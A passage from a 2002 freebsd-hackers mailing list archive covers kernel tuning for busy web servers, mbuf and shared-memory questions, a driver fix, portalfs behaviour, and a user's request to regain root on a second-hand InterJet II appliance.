majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 15: 1:26 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by hub.freebsd.org (Postfix) with ESMTP id C699137B403 for ; Mon, 24 Jun 2002 15:01:20 -0700 (PDT) Received: from pool0352.cvx22-bradley.dialup.earthlink.net ([209.179.199.97] helo=mindspring.com) by avocet.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17MbtI-0002rn-00; Mon, 24 Jun 2002 15:00:57 -0700 Message-ID: <3D17966E.1A5ED353@mindspring.com> Date: Mon, 24 Jun 2002 15:00:14 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Patrick Thomas Cc: Matthew Dillon , Nielsen , hackers@FreeBSD.ORG Subject: Re: (jail) problem and a (possible) solution ? References: <20020624124558.T68572-100000@utility.clubscholarship.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Patrick Thomas wrote: > 1) How do I give you an entire `ps` output from DDB ? Is there a way to > output it to a floppy or something ? Or are you suggesting to copy down > by hand ~1000 lines of ps output ? Serial console + terminal program with capture. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 15: 9:33 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from wall.polstra.com (wall-gw.polstra.com [206.213.73.130]) by hub.freebsd.org (Postfix) with ESMTP id 4FD3437B401 for ; Mon, 24 Jun 2002 15:09:29 -0700 (PDT) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.11.3/8.11.3) with ESMTP id g5OM9Sf40384 for ; Mon, 24 Jun 2002 15:09:28 -0700 (PDT) (envelope-from jdp@wall.polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.11.6/8.11.0) id g5OM9SV31473; Mon, 24 Jun 2002 15:09:28 -0700 (PDT) (envelope-from jdp) Date: Mon, 24 Jun 2002 15:09:28 -0700 (PDT) Message-Id: <200206242209.g5OM9SV31473@vashon.polstra.com> To: hackers@freebsd.org From: John Polstra Subject: Re: Re: bge driver issue In-Reply-To: <200206241645.g5OGjZH31049@vashon.polstra.com> References: <200206231552.g5NFqS002122@pacbell.net> <200206241645.g5OGjZH31049@vashon.polstra.com> Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I have just committed a fix for the BCM5701 + PCI-X problems. It is in the following revisions, and it should reach the mirror sites within an hour or so: src/sys/dev/bge/if_bge.c 1.14 src/sys/dev/bge/if_bgereg.h 1.5 Could those of you who were experiencing this problem please try the new driver to confirm that it really solves the problem? John -- John Polstra John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 15:31: 9 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from utility.clubscholarship.com (utility.clubscholarship.com [198.78.70.175]) by hub.freebsd.org (Postfix) with ESMTP id 7BBA537B665 for ; Mon, 24 Jun 2002 15:29:03 -0700 (PDT) Received: from localhost (root@localhost) by utility.clubscholarship.com (8.11.6/8.11.6) with ESMTP id g5OMPbh47566 for ; Mon, 24 Jun 2002 15:25:42 -0700 (PDT) (envelope-from root@utility.clubscholarship.com) Date: Mon, 24 Jun 2002 15:25:37 -0700 (PDT) From: Patrick Thomas To: Subject: tunings for many httpds... Message-ID: <20020624151650.I68572-100000@utility.clubscholarship.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG As a splinter to the ongoing KVA/crash/memory discussion, I am wondering: - given a machine that will run 250+ httpds and another ~800 misc. processes, what system tunings would any of you suggest other than the ones I have done: In my kernel: maxusers=256 (was 512, change to 256 didn't help) options SHMMAXPGS=16384 options SHMMAX="(SHMMAXPGS*PAGE_SIZE+1)" options SHMSEG=256 options SEMMNI=384 options SEMMNS=768 options SEMMNU=384 options SEMMAP=384 (all this SHM and SEM stuff is to run multiple postgres') and at boot time: sysctl -w jail.sysvipc_allowed=1 sysctl -w kern.ipc.shmall=65535 sysctl -w kern.ipc.shmmax=134217728 sysctl -w net.inet.tcp.syncookies=0 Anything obvious I am missing ? Terry seems to think: It's obvious that you are running a large number of httpd's; the sbwait in this case could be reasonably assumed to be waits based on "sendfile" for a change in so->so_snd->sb_cc; if that's the case, then it may be that you are simply running out of mbufs, and are deadlocking. This can happen if you have enough data in the pipe that you can not receive more data (e.g. the m_pullup() in tcp_input() could fail before other things would fail). Two things about this interested me: a) watching `top` output anytime of the day, i see several httpd processes in "sbwait" - granted I can only see 40 lines of processes or so in `top`, but usually at least two show "sbwait". Worrisome ? b) As I showed him, the netstat -m output 30-60 seconds before the crash looks very benign: 524/2576/34816 mbufs in use (current/peak/max): 500 mbufs allocated to data 24 mbufs allocated to packet headers 273/2254/8704 mbuf clusters in use (current/peak/max) 5152 Kbytes allocated to network (19% of mb_map in use) 0 requests for memory denied 0 requests for memory delayed 0 calls to protocol drain routines Is it possible that within 30 seconds or so current mbufs would skyrocket and my percentage of mb_map in use would skyrocket and I would start to see requests for memory denied ? All comments appreciated. --PT To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 15:44:22 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from patrocles.silby.com (d127.as20.nwbl0.wi.voyager.net [169.207.139.129]) by hub.freebsd.org (Postfix) with ESMTP id 9E80737B400 for ; Mon, 24 Jun 2002 15:44:13 -0700 (PDT) Received: from patrocles.silby.com (localhost [127.0.0.1]) by patrocles.silby.com (8.12.4/8.12.4) with ESMTP id g5OMkRcv054724; Mon, 24 Jun 2002 17:46:27 -0500 (CDT) (envelope-from silby@silby.com) Received: from localhost (silby@localhost) by patrocles.silby.com (8.12.4/8.12.4/Submit) with ESMTP id g5OMkOVR054721; Mon, 24 Jun 2002 17:46:25 -0500 (CDT) X-Authentication-Warning: patrocles.silby.com: silby owned process doing -bs Date: Mon, 24 Jun 2002 17:46:23 -0500 (CDT) From: Mike Silbersack To: Patrick Thomas Cc: freebsd-hackers@freebsd.org Subject: Re: tunings for many httpds... In-Reply-To: <20020624151650.I68572-100000@utility.clubscholarship.com> Message-ID: <20020624174404.P54460-100000@patrocles.silby.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 24 Jun 2002, Patrick Thomas wrote: > Two things about this interested me: > > a) watching `top` output anytime of the day, i see several httpd processes > in "sbwait" - granted I can only see 40 lines of processes or so in `top`, > but usually at least two show "sbwait". Worrisome ? sbwait is _NOT_ necessarily a bad thing. A httpd sending data to someone on a modem will show this most of the time, as it is waiting for ACKs coming back from the other end. mclalloc is the state you should be worried about seeing: it does mean that you have run out of mbufs. > Is it possible that within 30 seconds or so current mbufs would skyrocket > and my percentage of mb_map in use would skyrocket and I would start to > see requests for memory denied ? > > All comments appreciated. > > --PT I doubt it. The problem probably lies elsewhere. Mike "Silby" Silbersack To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 16: 0: 6 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by hub.freebsd.org (Postfix) with SMTP id 8C70537B401 for ; Mon, 24 Jun 2002 15:59:59 -0700 (PDT) Received: (qmail 3495 invoked by uid 0); 24 Jun 2002 22:59:58 -0000 Received: from p50828abf.dip.t-dialin.net (HELO kitcat) (80.130.138.191) by mail.gmx.net (mp006-rz3) with SMTP; 24 Jun 2002 22:59:58 -0000 Date: Tue, 25 Jun 2002 01:04:24 +0200 From: KitCat X-Mailer: The Bat! (v1.52f) Reply-To: KitCat Organization: =?ISO-8859-1?B?TORybSBJbmMu?= X-Priority: 3 (Normal) Message-ID: <26282110032.20020625010424@gmx.de> To: freebsd-hackers@FreeBSD.ORG Subject: need some help on ibm whistler = interjetII MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG hi! i´ve an interjetII and i´ve heard, that it´s possible toget root-access via telnet on the freebsd operating system by pressing a special combination of keys. i´m just a student and i can´t spend my money on a special corporation to get this hepl. and i was just a lucky coincidence to get the interjet form my ex-firm i worked beside my study (the firm go bust ;-) ). so please help me! i also were fine, if anyone could tell me, if (and how) i can replace freebsd with windows ;-) many greetings & sorry for my english! Benjamin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 16: 6:28 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 0334B37B400 for ; Mon, 24 Jun 2002 16:06:23 -0700 (PDT) Received: from apollo.backplane.com (localhost [127.0.0.1]) by apollo.backplane.com (8.12.3/8.12.3) with ESMTP id g5ON6Nl1000624; Mon, 24 Jun 2002 16:06:23 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.12.3/8.12.3/Submit) id g5OMXHl8000378; Mon, 24 Jun 2002 15:33:17 -0700 (PDT) (envelope-from dillon) Date: Mon, 24 Jun 2002 15:33:17 -0700 (PDT) From: Matthew Dillon Message-Id: <200206242233.g5OMXHl8000378@apollo.backplane.com> To: Terry Lambert Cc: Harry Newton , freebsd-hackers@FreeBSD.ORG Subject: Re: status of portalfs References: <86adpkih9j.fsf@basilisk.locus> <3D179464.4538513D@mindspring.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Actually Terry is wrong here :-) Sorry Terry. The portal filesystem is not really a filesystem. All it can do is intercept open()s and return descriptors. It isn't like NULLFS. The portal filesystem does not do any layering at all. open() does not return a portalfs descriptor. What portalfs does is connect to a unix domain socket (aka a userland process) and then it expects a control message to sent to it with a descriptor (like to a normal file or a TCP socket or whatever). It then returns the descriptor directly. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 16:20:15 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from sccrmhc03.attbi.com (sccrmhc03.attbi.com [204.127.202.63]) by hub.freebsd.org (Postfix) with ESMTP id 104BB37B400 for ; Mon, 24 Jun 2002 16:20:10 -0700 (PDT) Received: from InterJet.elischer.org ([12.232.206.8]) by sccrmhc03.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020624232009.YNEN903.sccrmhc03.attbi.com@InterJet.elischer.org>; Mon, 24 Jun 2002 23:20:09 +0000 Received: from localhost (localhost.elischer.org [127.0.0.1]) by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id QAA54764; Mon, 24 Jun 2002 16:14:13 -0700 (PDT) Date: Mon, 24 Jun 2002 16:14:12 -0700 (PDT) From: Julian Elischer To: KitCat Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: need some help on ibm whistler = interjetII In-Reply-To: <26282110032.20020625010424@gmx.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ummmm if you have an IJ-II then you must be leasing it from IBM. And IMB is ending all teh leases and recalling them. They never sold them as far as I know.. no wait you are in .de.. hmmm that may be different.. the best way is to take out the disk. put it on a freeBSD system edit /etc/tty to turn on the serial console.. While the OS is in fact FreeBSD.. (4.4 at the latest upgrade avaliable I believe) I don't think that people here would know of any such cookies.. I wouldn't mind a IJ-II myself actually.. nice machine as a boundary firewall and router for the home.. Why do you think you need root access.? On Tue, 25 Jun 2002, KitCat wrote: > hi! >=20 > i=B4ve an interjetII and i=B4ve heard, that it=B4s possible toget > root-access via telnet on the freebsd operating system by pressing a > special combination of keys. i=B4m just a student and i can=B4t spend my > money on a special corporation to get this hepl. and i was just a > lucky coincidence to get the interjet form my ex-firm i worked beside > my study (the firm go bust ;-) ). so please help me! >=20 > i also were fine, if anyone could tell me, if (and how) i can replace > freebsd with windows ;-) >=20 > many greetings & sorry for my english! Benjamin >=20 >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message >=20 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 16:40: 3 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by hub.freebsd.org (Postfix) with SMTP id B6F4437B400 for ; Mon, 24 Jun 2002 16:39:58 -0700 (PDT) Received: (qmail 5150 invoked by uid 0); 24 Jun 2002 23:39:57 -0000 Received: from p50828abf.dip.t-dialin.net (HELO kitcat) (80.130.138.191) by mail.gmx.net (mp001-rz3) with SMTP; 24 Jun 2002 23:39:57 -0000 Date: Tue, 25 Jun 2002 01:44:23 +0200 From: KitCat X-Mailer: The Bat! (v1.52f) Reply-To: KitCat Organization: =?ISO-8859-1?B?TORybSBJbmMu?= X-Priority: 3 (Normal) Message-ID: <109284509683.20020625014423@gmx.de> To: Julian Elischer Cc: freebsd-hackers@FreeBSD.ORG Subject: Re[2]: need some help on ibm whistler = interjetII In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG hi! ok, that may helps a little... i want the root access, because i´ve a dsl-internet-connection, and i isn´t supported by the ij-package at now. so i hope, that i can activate the dsl-feature with root access. i hope, you are not rolling over the floor laughing ;-) perhaps, you know a better (low-cost) solution, that i finally can use the ij as router/firewall/ftp-server(/mail-server???). btw: i´ve no static ip :-) another handicap (i think)... good n8! benjamin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 18:40:33 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from rwcrmhc53.attbi.com (rwcrmhc53.attbi.com [204.127.198.39]) by hub.freebsd.org (Postfix) with ESMTP id C09D337B400 for ; Mon, 24 Jun 2002 18:40:21 -0700 (PDT) Received: from InterJet.elischer.org ([12.232.206.8]) by rwcrmhc53.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020625014021.IGU15755.rwcrmhc53.attbi.com@InterJet.elischer.org>; Tue, 25 Jun 2002 01:40:21 +0000 Received: from localhost (localhost.elischer.org [127.0.0.1]) by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id SAA55210; Mon, 24 Jun 2002 18:37:03 -0700 (PDT) Date: Mon, 24 Jun 2002 18:37:01 -0700 (PDT) From: Julian Elischer To: KitCat Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Re[2]: need some help on ibm whistler = interjetII In-Reply-To: <109284509683.20020625014423@gmx.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 25 Jun 2002, KitCat wrote: > hi! >=20 > ok, that may helps a little... >=20 > i want the root access, because i=B4ve a dsl-internet-connection, an= d i isn=B4t > supported by the ij-package at now. so i hope, that i can activ= ate the > dsl-feature with root access. i hope, you are not rolling over th= e floor > laughing ;-) perhaps, you know a better (low-cost) solution, that i fina= lly can > use the ij as router/firewall/ftp-server(/mail-server???). btw: = i=B4ve no > static ip :-) another handicap (i think)... The IJ-II (in it's newer releases of software) supported PPPoE DSL connections.. Unfortunatly you have NO HOPE of turining it on if you get to root as everything is controlled from a database and not standard flat files. You need to do it through the web interface. (maybe the LCD) do you know what release of the software you have? do you have PPPoE on your DSL? is it attached by ethernet? Do you have the manuals? If you have looked in the interface and see no PPPoE or DSL mentioned and you have an old release, you may be able to upgrade the software to get PPPoE If you don't know how to upgrade, (you should have received instructions with the machine) the latest version for .de is: -rw-r--r-- 1 0 0 34843407 Sep 6 2001 4.3.cpio.gz.e -rw-r--r-- 1 0 0 99 Sep 6 2001 4.3.cpio.gz.e.md5 on the whistle ftp site.. in the directory /interjet/de I don't know what the encryption key for .de releases was though.. whoever administered it before should know.. or maybe another ex-whistle person can tell you. >=20 > good n8! > benjamin >=20 >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message >=20 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 19: 0:59 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from rwcrmhc51.attbi.com (rwcrmhc51.attbi.com [204.127.198.38]) by hub.freebsd.org (Postfix) with ESMTP id 16E6D37B407 for ; Mon, 24 Jun 2002 19:00:28 -0700 (PDT) Received: from InterJet.elischer.org ([12.232.206.8]) by rwcrmhc51.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020625020027.DHDD9178.rwcrmhc51.attbi.com@InterJet.elischer.org>; Tue, 25 Jun 2002 02:00:27 +0000 Received: from localhost (localhost.elischer.org [127.0.0.1]) by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id SAA55246; Mon, 24 Jun 2002 18:42:49 -0700 (PDT) Date: Mon, 24 Jun 2002 18:42:48 -0700 (PDT) From: Julian Elischer To: KitCat Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Re[2]: need some help on ibm whistler = interjetII In-Reply-To: <109284509683.20020625014423@gmx.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG By the way.. IJ-II's in .de were leased from IBM via Deutche Telecom so theoretically it's stolen property.. IBM is recalling them and destroying them however.. pitty... nice product. On Tue, 25 Jun 2002, KitCat wrote: > hi! >=20 > ok, that may helps a little... >=20 > i want the root access, because i=B4ve a dsl-internet-connection, an= d i isn=B4t > supported by the ij-package at now. so i hope, that i can activ= ate the > dsl-feature with root access. i hope, you are not rolling over th= e floor > laughing ;-) perhaps, you know a better (low-cost) solution, that i fina= lly can > use the ij as router/firewall/ftp-server(/mail-server???). btw: = i=B4ve no > static ip :-) another handicap (i think)... >=20 > good n8! > benjamin >=20 >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message >=20 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 19: 7:50 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from w2xo.pgh.pa.us (18.gibs5.xdsl.nauticom.net [209.195.184.19]) by hub.freebsd.org (Postfix) with ESMTP id 15F0037B406; Mon, 24 Jun 2002 19:06:33 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by w2xo.pgh.pa.us (8.11.6/8.11.3) with ESMTP id g5P26Vp40694; Tue, 25 Jun 2002 02:06:31 GMT (envelope-from durham@w2xo.pgh.pa.us) Date: Tue, 25 Jun 2002 02:06:31 +0000 (GMT) From: Jim Durham To: Poul-Henning Kamp Cc: hackers@FreeBSD.ORG Subject: Re: 8" floppy drive anyone ? In-Reply-To: <35670.1024442186@critter.freebsd.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 19 Jun 2002, Poul-Henning Kamp wrote: > > I have a bunch of 8" floppies I need to try to recover contents > from, is there anybody out there who has a 8" drive they'd be willing > to part with for $$ ? > > If it comes with the magic SA800-PC cable it would be just perfect. > I work in the TV industry and there is still a character generator in use (Chyron 4100) that uses 8 inch floppies. Check with your local TV station's engineering dept..they usually have spares. I can probably dig one up in our junk if I put on a hunt, but I can't say I've seen one lately. I think I have a Tarbell S 100 controller somewhere. SA800 cable? A 50 pin flat ribbon with a Berg on one end and an edge connector on the other? -Jim Durham To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 19:13:20 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from patrocles.silby.com (d127.as20.nwbl0.wi.voyager.net [169.207.139.129]) by hub.freebsd.org (Postfix) with ESMTP id 1594137B401 for ; Mon, 24 Jun 2002 19:13:16 -0700 (PDT) Received: from patrocles.silby.com (localhost [127.0.0.1]) by patrocles.silby.com (8.12.4/8.12.4) with ESMTP id g5P2FRcv055494; Mon, 24 Jun 2002 21:15:27 -0500 (CDT) (envelope-from silby@silby.com) Received: from localhost (silby@localhost) by patrocles.silby.com (8.12.4/8.12.4/Submit) with ESMTP id g5P2FAHC055491; Mon, 24 Jun 2002 21:15:26 -0500 (CDT) X-Authentication-Warning: patrocles.silby.com: silby owned process doing -bs Date: Mon, 24 Jun 2002 21:15:09 -0500 (CDT) From: Mike Silbersack To: Yahel Zamir Cc: freebsd-hackers@FreeBSD.org Subject: Re: m_cat() does not update m_pkthdr.len In-Reply-To: Message-ID: <20020624211437.J55382-100000@patrocles.silby.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 23 Jun 2002, Yahel Zamir wrote: > Hi, > > During development of networking code in FreeBSD kernel, > we noticed that m_cat(p1, p2) does NOT do some necessary things: > p1->m_pkthdr.len += p2->m_pkthdr.len; > p2->m_flags &= ~M_PKTHDR; > > Thanks, > Yahel. Please notify Luigi or Bosko. See the -net archives as well, I believe that this has been discussed in the last week or two. Mike "Silby" Silbersack To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 19:17:37 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by hub.freebsd.org (Postfix) with ESMTP id 2C1C637B403 for ; Mon, 24 Jun 2002 19:17:32 -0700 (PDT) Received: from pool0555.cvx21-bradley.dialup.earthlink.net ([209.179.194.45] helo=mindspring.com) by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17MftA-0007dH-00; Mon, 24 Jun 2002 19:17:05 -0700 Message-ID: <3D17D27A.11E82B2B@mindspring.com> Date: Mon, 24 Jun 2002 19:16:26 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Patrick Thomas Cc: freebsd-hackers@freebsd.org Subject: Re: tunings for many httpds... References: <20020624151650.I68572-100000@utility.clubscholarship.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Patrick Thomas wrote: > As a splinter to the ongoing KVA/crash/memory discussion, I am wondering: > > - given a machine that will run 250+ httpds and another ~800 misc. > processes, what system tunings would any of you suggest other than the > ones I have done: Can't comment. Best guess: whatever actually works. > (all this SHM and SEM stuff is to run multiple postgres') You didn't say this before. You have 64M of KVA space taken up by nothing but shared memory. THis is maybe twice the amount of memory that Matt freed up with his changes that you don't have. System V shared memory is allocated out of KVA space (annoying, but true). > Anything obvious I am missing ? Terry seems to think: > > > It's obvious that you are running a large number of httpd's; the > sbwait in this case could be reasonably assumed to be waits based > on "sendfile" for a change in so->so_snd->sb_cc; if that's the > case, then it may be that you are simply running out of mbufs, > and are deadlocking. This can happen if you have enough data in > the pipe that you can not receive more data (e.g. the m_pullup() > in tcp_input() could fail before other things would fail). > > > Two things about this interested me: > > a) watching `top` output anytime of the day, i see several httpd processes > in "sbwait" - granted I can only see 40 lines of processes or so in `top`, > but usually at least two show "sbwait". Worrisome ? This makes the "ps" you did pretty much useless. I expected that it was not the whole thing, but I at least expectged that it was representative. The real question is not what "top" shows, but what the kernel debug "ps" shows. > b) As I showed him, the netstat -m output 30-60 seconds before the crash > looks very benign: > > 524/2576/34816 mbufs in use (current/peak/max): > 500 mbufs allocated to data > 24 mbufs allocated to packet headers > 273/2254/8704 mbuf clusters in use (current/peak/max) > 5152 Kbytes allocated to network (19% of mb_map in use) > 0 requests for memory denied > 0 requests for memory delayed > 0 calls to protocol drain routines Yes, this looks benign. > Is it possible that within 30 seconds or so current mbufs would skyrocket > and my percentage of mb_map in use would skyrocket and I would start to > see requests for memory denied ? Yes, it's possible, if you are being attacked. We don't know whether you are or not. The "top" won't update after the system siezes up, and running netstat -m over one minute intervals will probably not even show a trend upward, if the problem were real memory. You'd have to be really lucky to catch it at just point right before it siezed. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 19:23:15 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by hub.freebsd.org (Postfix) with ESMTP id 9F12037B42A for ; Mon, 24 Jun 2002 19:22:43 -0700 (PDT) Received: by elvis.mu.org (Postfix, from userid 1192) id C2438AE165; Mon, 24 Jun 2002 19:22:38 -0700 (PDT) Date: Mon, 24 Jun 2002 19:22:38 -0700 From: Alfred Perlstein To: Terry Lambert Cc: Patrick Thomas , freebsd-hackers@freebsd.org Subject: Re: tunings for many httpds... Message-ID: <20020625022238.GH53232@elvis.mu.org> References: <20020624151650.I68572-100000@utility.clubscholarship.com> <3D17D27A.11E82B2B@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3D17D27A.11E82B2B@mindspring.com> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Terry Lambert [020624 19:17] wrote: > > System V shared memory is allocated out of KVA space (annoying, > but true). You keep saying this but the backing object allocated for sysvshm is taken from either an OBJT_PHYS or OBJT_SWAP object. At what point does it eat KVA that is other than for the backing data structures? -Alfred To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 19:27:19 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by hub.freebsd.org (Postfix) with ESMTP id 3584B37B40A for ; Mon, 24 Jun 2002 19:27:13 -0700 (PDT) Received: from pool0555.cvx21-bradley.dialup.earthlink.net ([209.179.194.45] helo=mindspring.com) by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17Mg2v-0005XO-00; Mon, 24 Jun 2002 19:27:10 -0700 Message-ID: <3D17D4D7.E9E19683@mindspring.com> Date: Mon, 24 Jun 2002 19:26:31 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Julian Elischer Cc: KitCat , freebsd-hackers@FreeBSD.ORG Subject: Re: need some help on ibm whistler = interjetII References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: 